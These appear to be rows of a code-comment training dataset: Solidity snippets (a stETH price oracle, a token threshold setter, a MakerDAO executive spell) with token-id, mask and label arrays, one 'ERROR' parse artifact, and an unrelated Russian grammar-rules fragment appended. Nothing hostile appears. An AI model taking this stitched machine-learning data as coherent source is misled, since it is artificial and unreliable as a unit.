* 10. proof of the `keccak256("lido.Lido.beaconValidators")` slot of stETH contract.
*/
function submitState(bytes memory _blockHeaderRlpBytes, bytes memory _proofRlpBytes)
external
{
Verifier.BlockHeader memory blockHeader = Verifier.verifyBlockHeader(_blockHeaderRlpBytes);
{
uint256 currentBlock = block.number;
// ensure block finality
require(
currentBlock > blockHeader.number &&
currentBlock - blockHeader.number >= MIN_BLOCK_DELAY,
"block too fresh"
);
}
require(blockHeader.timestamp > timestamp, "stale data");
RLPReader.RLPItem[] memory proofs = _proofRlpBytes.toRlpItem().toList();
require(proofs.length == 10, "total proofs");
Verifier.Account memory accountPool = Verifier.extractAccountFromProof(
POOL_ADDRESS_HASH,
blockHeader.stateRootHash,
proofs[0].toList()
);
require(accountPool.exists, "accountPool");
Verifier.Account memory accountSteth = Verifier.extractAccountFromProof(
STETH_ADDRESS_HASH,
blockHeader.stateRootHash,
proofs[1].toList()
);
require(accountSteth.exists, "accountSteth");
Verifier.SlotValue memory slotPoolAdminBalances0 = Verifier.extractSlotValueFromProof(
POOL_ADMIN_BALANCES_0_HASH,
accountPool.storageRoot,
proofs[2].toList()
);
require(slotPoolAdminBalances0.exists, "adminBalances0");
Verifier.SlotValue memory slotPoolAdminBalances1 = Verifier.extractSlotValueFromProof(
POOL_ADMIN_BALANCES_1_HASH,
accountPool.storageRoot,
proofs[3].toList()
);
require(slotPoolAdminBalances1.exists, "adminBalances1");
Verifier.SlotValue memory slotStethPoolShares = Verifier.extractSlotValueFromProof(
STETH_POOL_SHARES_HASH,
accountSteth.storageRoot,
proofs[4].toList()
);
require(slotStethPoolShares.exists, "poolShares");
Verifier.SlotValue memory slotStethTotalShares = Verifier.extractSlotValueFromProof(
STETH_TOTAL_SHARES_HASH,
accountSteth.storageRoot,
proofs[5].toList()
);
require(slotStethTotalShares.exists, "totalShares");
Verifier.SlotValue memory slotStethBeaconBalance = Verifier.extractSlotValueFromProof(
STETH_BEACON_BALANCE_HASH,
accountSteth.storageRoot,
proofs[6].toList()
);
require(slotStethBeaconBalance.exists, "beaconBalance");
Verifier.SlotValue memory slotStethBufferedEther = Verifier.extractSlotValueFromProof(
STETH_BUFFERED_ETHER_HASH,
accountSteth.storageRoot,
proofs[7].toList()
);
require(slotStethBufferedEther.exists, "bufferedEther");
Verifier.SlotValue memory slotStethDepositedValidators = Verifier.extractSlotValueFromProof(
STETH_DEPOSITED_VALIDATORS_HASH,
accountSteth.storageRoot,
proofs[8].toList()
);
require(slotStethDepositedValidators.exists, "depositedValidators");
Verifier.SlotValue memory slotStethBeaconValidators = Verifier.extractSlotValueFromProof(
STETH_BEACON_VALIDATORS_HASH,
accountSteth.storageRoot,
proofs[9].toList()
);
require(slotStethBeaconValidators.exists, "beaconValidators");
emit SlotValuesUpdated(
blockHeader.timestamp,
accountPool.balance,
slotPoolAdminBalances0.value,
slotPoolAdminBalances1.value,
slotStethPoolShares.value,
slotStethTotalShares.value,
slotStethBeaconBalance.value,
slotStethBufferedEther.value,
slotStethDepositedValidators.value,
slotStethBeaconValidators.value
);
uint256 newEtherBalance = accountPool.balance.sub(slotPoolAdminBalances0.value);
uint256 newStethBalance = _getStethBalanceByShares(
slotStethPoolShares.value,
slotStethTotalShares.value,
slotStethBeaconBalance.value,
slotStethBufferedEther.value,
slotStethDepositedValidators.value,
slotStethBeaconValidators.value
).sub(slotPoolAdminBalances1.value);
uint256 newStethPrice = _calcPrice(newEtherBalance, newStethBalance);
timestamp = blockHeader.timestamp;
etherBalance = newEtherBalance;
stethBalance = newStethBalance;
stethPrice = newStethPrice;
emit PriceUpdated(blockHeader.timestamp, newEtherBalance, newStethBalance, newStethPrice);
}
/**
* @dev Given the values of stETH smart contract slots, calculates the amount of stETH owned
* by the Curve pool by reproducing calculations performed in the stETH contract.
*/
function _getStethBalanceByShares(
uint256 _shares,
uint256 _totalShares,
uint256 _beaconBalance,
uint256 _bufferedEther,
uint256 _depositedValidators,
uint256 _beaconValidators
)
internal pure returns (uint256)
{
// https://github.com/lidofinance/lido-dao/blob/v1.0.0/contracts/0.4.24/StETH.sol#L283
// https://github.com/lidofinance/lido-dao/blob/v1.0.0/contracts/0.4.24/Lido.sol#L719
// https://github.com/lidofinance/lido-dao/blob/v1.0.0/contracts/0.4.24/Lido.sol#L706
if (_totalShares == 0) {
return 0;
}
uint256 transientBalance = _depositedValidators.sub(_beaconValidators).mul(STETH_DEPOSIT_SIZE);
uint256 totalPooledEther = _bufferedEther.add(_beaconBalance).add(transientBalance);
return _shares.mul(totalPooledEther).div(_totalShares);
}
/**
* @dev Given the ETH and stETH balances of the Curve pool, calculates the corresponding
* stETH/ETH price by reproducing calculations performed in the pool contract.
*/
function _calcPrice(uint256 _etherBalance, uint256 _stethBalance) internal view returns (uint256) {
uint256 A = IStableSwap(POOL_ADDRESS).A_precise();
uint256 fee = IStableSwap(POOL_ADDRESS).fee();
return helper.get_dy(1, 0, 10**18, [_etherBalance, _stethBalance], A, fee);
}
function _setPriceUpdateThreshold(uint256 _priceUpdateThreshold) internal {
require(_priceUpdateThreshold <= 10000);
priceUpdateThreshold = _priceUpdateThreshold;
emit PriceUpdateThresholdChanged(_priceUpdateThreshold);
}
function _setAdmin(address _admin) internal {
require(_admin != address(0));
require(_admin != admin);
admin = _admin;
emit AdminChanged(_admin);
}
} | * @notice Sets the suggested price update threshold. @param _priceUpdateThreshold The suggested price update threshold. Expressed in basis points, 10000 BP corresponding to 100%./ | function setPriceUpdateThreshold(uint256 _priceUpdateThreshold) external {
require(msg.sender == admin);
_setPriceUpdateThreshold(_priceUpdateThreshold);
}
| 10,563,916 | [
1,
2785,
326,
22168,
6205,
1089,
5573,
18,
225,
389,
8694,
1891,
7614,
1021,
22168,
6205,
1089,
5573,
18,
3639,
7784,
4638,
316,
10853,
3143,
16,
12619,
605,
52,
4656,
358,
2130,
9,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
5147,
1891,
7614,
12,
11890,
5034,
389,
8694,
1891,
7614,
13,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3981,
1769,
203,
3639,
389,
542,
5147,
1891,
7614,
24899,
8694,
1891,
7614,
1769,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xAb01E3b18b5611f44081408454A6A25f5110C11C/sources/XRPM.sol | update the treshhold | function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
require(new_amount > 0, "Error: Can't be zero!");
tokenLiquidityThreshold = new_amount * 10**decimals();
}
| 3,549,835 | [
1,
2725,
326,
268,
1955,
21056,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
48,
18988,
24237,
56,
1955,
21056,
12,
11890,
5034,
394,
67,
8949,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
67,
8949,
405,
374,
16,
315,
668,
30,
4480,
1404,
506,
3634,
4442,
1769,
203,
3639,
1147,
48,
18988,
24237,
7614,
273,
394,
67,
8949,
380,
1728,
636,
31734,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.5.12;
// https://github.com/dapphub/ds-pause
interface DSPauseAbstract {
function delay() external view returns (uint256);
function plot(address, bytes32, bytes calldata, uint256) external;
function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory);
}
// https://github.com/makerdao/dss/blob/master/src/cat.sol
interface CatAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function box() external view returns (uint256);
function litter() external view returns (uint256);
function ilks(bytes32) external view returns (address, uint256, uint256);
function live() external view returns (uint256);
function vat() external view returns (address);
function vow() external view returns (address);
function file(bytes32, address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, bytes32, address) external;
function bite(bytes32, address) external returns (uint256);
function claw(uint256) external;
function cage() external;
}
// https://github.com/makerdao/dss/blob/master/src/end.sol
interface EndAbstract {
function file(bytes32, address) external;
function file(bytes32, uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/flip.sol
interface FlipAbstract {
function rely(address usr) external;
function deny(address usr) external;
function vat() external view returns (address);
function cat() external view returns (address);
function ilk() external view returns (bytes32);
function beg() external view returns (uint256);
function ttl() external view returns (uint48);
function tau() external view returns (uint48);
function file(bytes32, uint256) external;
}
// https://github.com/makerdao/flipper-mom/blob/master/src/FlipperMom.sol
interface FlipperMomAbstract {
function setAuthority(address) external;
function cat() external returns (address);
function rely(address) external;
function deny(address) external;
}
// https://github.com/makerdao/osm
interface OsmAbstract {
function kiss(address) external;
}
// https://github.com/makerdao/dss/blob/master/src/vat.sol
interface VatAbstract {
function rely(address) external;
function deny(address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/vow.sol
interface VowAbstract {
function rely(address usr) external;
function deny(address usr) external;
}
contract SpellAction {
// MAINNET ADDRESSES
//
// The contracts in this list should correspond to MCD core contracts, verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/1.1.0/contracts.json
address constant MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address constant MCD_VOW = 0xA950524441892A31ebddF91d3cEEFa04Bf454466;
address constant MCD_ADM = 0x9eF05f7F6deB616fd37aC3c959a2dDD25A54E4F5;
address constant MCD_END = 0xaB14d3CE3F733CACB76eC2AbE7d2fcb00c99F3d5;
address constant FLIPPER_MOM = 0xc4bE7F74Ee3743bDEd8E0fA218ee5cf06397f472;
address constant MCD_CAT = 0xa5679C04fc3d9d8b0AaB1F0ab83555b301cA70Ea;
address constant MCD_CAT_OLD = 0x78F2c2AF65126834c51822F56Be0d7469D7A523E;
address constant MCD_FLIP_ETH_A = 0xF32836B9E1f47a0515c6Ec431592D5EbC276407f;
address constant MCD_FLIP_ETH_A_OLD = 0x0F398a2DaAa134621e4b687FCcfeE4CE47599Cc1;
address constant MCD_FLIP_BAT_A = 0xF7C569B2B271354179AaCC9fF1e42390983110BA;
address constant MCD_FLIP_BAT_A_OLD = 0x5EdF770FC81E7b8C2c89f71F30f211226a4d7495;
address constant MCD_FLIP_USDC_A = 0xbe359e53038E41a1ffA47DAE39645756C80e557a;
address constant MCD_FLIP_USDC_A_OLD = 0x545521e0105C5698f75D6b3C3050CfCC62FB0C12;
address constant MCD_FLIP_USDC_B = 0x77282aD36aADAfC16bCA42c865c674F108c4a616;
address constant MCD_FLIP_USDC_B_OLD = 0x6002d3B769D64A9909b0B26fC00361091786fe48;
address constant MCD_FLIP_WBTC_A = 0x58CD24ac7322890382eE45A3E4F903a5B22Ee930;
address constant MCD_FLIP_WBTC_A_OLD = 0xF70590Fa4AaBe12d3613f5069D02B8702e058569;
address constant MCD_FLIP_ZRX_A = 0xa4341cAf9F9F098ecb20fb2CeE2a0b8C78A18118;
address constant MCD_FLIP_ZRX_A_OLD = 0x92645a34d07696395b6e5b8330b000D0436A9aAD;
address constant MCD_FLIP_KNC_A = 0x57B01F1B3C59e2C0bdfF3EC9563B71EEc99a3f2f;
address constant MCD_FLIP_KNC_A_OLD = 0xAD4a0B5F3c6Deb13ADE106Ba6E80Ca6566538eE6;
address constant MCD_FLIP_TUSD_A = 0x9E4b213C4defbce7564F2Ac20B6E3bF40954C440;
address constant MCD_FLIP_TUSD_A_OLD = 0x04C42fAC3e29Fd27118609a5c36fD0b3Cb8090b3;
address constant MCD_FLIP_MANA_A = 0x0a1D75B4f49BA80724a214599574080CD6B68357;
address constant MCD_FLIP_MANA_A_OLD = 0x4bf9D2EBC4c57B9B783C12D30076507660B58b3a;
address constant YEARN = 0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1;
address constant OSM_ETHUSD = 0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763;
// Decimals & precision
uint256 constant THOUSAND = 10 ** 3;
uint256 constant MILLION = 10 ** 6;
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
uint256 constant RAD = 10 ** 45;
function execute() external {
// ************************
// *** Liquidations 1.2 ***
// ************************
require(CatAbstract(MCD_CAT_OLD).vat() == MCD_VAT, "non-matching-vat");
require(CatAbstract(MCD_CAT_OLD).vow() == MCD_VOW, "non-matching-vow");
require(CatAbstract(MCD_CAT).vat() == MCD_VAT, "non-matching-vat");
require(CatAbstract(MCD_CAT).live() == 1, "cat-not-live");
require(FlipperMomAbstract(FLIPPER_MOM).cat() == MCD_CAT, "non-matching-cat");
/*** Update Cat ***/
CatAbstract(MCD_CAT).file("vow", MCD_VOW);
VatAbstract(MCD_VAT).rely(MCD_CAT);
VatAbstract(MCD_VAT).deny(MCD_CAT_OLD);
VowAbstract(MCD_VOW).rely(MCD_CAT);
VowAbstract(MCD_VOW).deny(MCD_CAT_OLD);
EndAbstract(MCD_END).file("cat", MCD_CAT);
CatAbstract(MCD_CAT).rely(MCD_END);
CatAbstract(MCD_CAT).file("box", 30 * MILLION * RAD);
/*** Set Auth in Flipper Mom ***/
FlipperMomAbstract(FLIPPER_MOM).setAuthority(MCD_ADM);
/*** ETH-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_ETH_A), FlipAbstract(MCD_FLIP_ETH_A_OLD));
/*** BAT-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_BAT_A), FlipAbstract(MCD_FLIP_BAT_A_OLD));
/*** USDC-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_USDC_A), FlipAbstract(MCD_FLIP_USDC_A_OLD));
FlipperMomAbstract(FLIPPER_MOM).deny(MCD_FLIP_USDC_A); // Auctions disabled
/*** USDC-B Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_USDC_B), FlipAbstract(MCD_FLIP_USDC_B_OLD));
FlipperMomAbstract(FLIPPER_MOM).deny(MCD_FLIP_USDC_B); // Auctions disabled
/*** WBTC-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_WBTC_A), FlipAbstract(MCD_FLIP_WBTC_A_OLD));
/*** TUSD-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_TUSD_A), FlipAbstract(MCD_FLIP_TUSD_A_OLD));
FlipperMomAbstract(FLIPPER_MOM).deny(MCD_FLIP_TUSD_A); // Auctions disabled
/*** ZRX-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_ZRX_A), FlipAbstract(MCD_FLIP_ZRX_A_OLD));
/*** KNC-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_KNC_A), FlipAbstract(MCD_FLIP_KNC_A_OLD));
/*** MANA-A Flip ***/
_changeFlip(FlipAbstract(MCD_FLIP_MANA_A), FlipAbstract(MCD_FLIP_MANA_A_OLD));
// *********************
// *** Other Changes ***
// *********************
/*** Risk Parameter Adjustments ***/
// set the global debt ceiling to 588,000,000
// 688 (current DC) - 100 (USDC-A decrease)
VatAbstract(MCD_VAT).file("Line", 588 * MILLION * RAD);
// Set the USDC-A debt ceiling
//
// Existing debt: 140 million
// New debt ceiling: 40 million
uint256 USDC_A_LINE = 40 * MILLION * RAD;
VatAbstract(MCD_VAT).file("USDC-A", "line", USDC_A_LINE);
/*** Whitelist yearn on ETHUSD Oracle ***/
OsmAbstract(OSM_ETHUSD).kiss(YEARN);
}
function _changeFlip(FlipAbstract newFlip, FlipAbstract oldFlip) internal {
bytes32 ilk = newFlip.ilk();
require(ilk == oldFlip.ilk(), "non-matching-ilk");
require(newFlip.vat() == oldFlip.vat(), "non-matching-vat");
require(newFlip.cat() == MCD_CAT, "non-matching-cat");
require(newFlip.vat() == MCD_VAT, "non-matching-vat");
CatAbstract(MCD_CAT).file(ilk, "flip", address(newFlip));
(, uint oldChop,) = CatAbstract(MCD_CAT_OLD).ilks(ilk);
CatAbstract(MCD_CAT).file(ilk, "chop", oldChop / 10 ** 9);
CatAbstract(MCD_CAT).file(ilk, "dunk", 50 * THOUSAND * RAD);
CatAbstract(MCD_CAT).rely(address(newFlip));
newFlip.rely(MCD_CAT);
newFlip.rely(MCD_END);
newFlip.rely(FLIPPER_MOM);
newFlip.file("beg", oldFlip.beg());
newFlip.file("ttl", oldFlip.ttl());
newFlip.file("tau", oldFlip.tau());
}
}
contract DssSpell {
DSPauseAbstract public pause =
DSPauseAbstract(0xbE286431454714F511008713973d3B053A2d38f3);
address public action;
bytes32 public tag;
uint256 public eta;
bytes public sig;
uint256 public expiration;
bool public done;
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/6304d5d461f6a0811699eb04fa48b95d68515d8f/governance/votes/Executive%20vote%20-%20August%2028%2C%202020.md -q -O - 2>/dev/null)"
string constant public description =
"2020-08-28 MakerDAO Executive Spell | Hash: 0x67885f84f0d31dc816fc327d9912bae6f207199d299543d95baff20cf6305963";
constructor() public {
sig = abi.encodeWithSignature("execute()");
action = address(new SpellAction());
bytes32 _tag;
address _action = action;
assembly { _tag := extcodehash(_action) }
tag = _tag;
expiration = now + 30 days;
}
modifier officeHours {
uint day = (now / 1 days + 3) % 7;
require(day < 5, "Can only be cast on a weekday");
uint hour = now / 1 hours % 24;
require(hour >= 14 && hour < 21, "Outside office hours");
_;
}
function schedule() public {
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
eta = now + DSPauseAbstract(pause).delay();
pause.plot(action, tag, sig, eta);
}
function cast() public officeHours {
require(!done, "spell-already-cast");
done = true;
pause.exec(action, tag, sig, eta);
}
} | ERROR: type should be string, got " https:github.com/makerdao/flipper-mom/blob/master/src/FlipperMom.sol" | interface FlipperMomAbstract {
function setAuthority(address) external;
function cat() external returns (address);
function rely(address) external;
function deny(address) external;
}
| 1,450,355 | [
1,
4528,
30,
6662,
18,
832,
19,
29261,
2414,
83,
19,
12357,
457,
17,
81,
362,
19,
10721,
19,
7525,
19,
4816,
19,
28535,
457,
49,
362,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
478,
3169,
457,
49,
362,
7469,
288,
203,
565,
445,
444,
10962,
12,
2867,
13,
3903,
31,
203,
565,
445,
6573,
1435,
3903,
1135,
261,
2867,
1769,
203,
565,
445,
21187,
12,
2867,
13,
3903,
31,
203,
565,
445,
17096,
12,
2867,
13,
3903,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
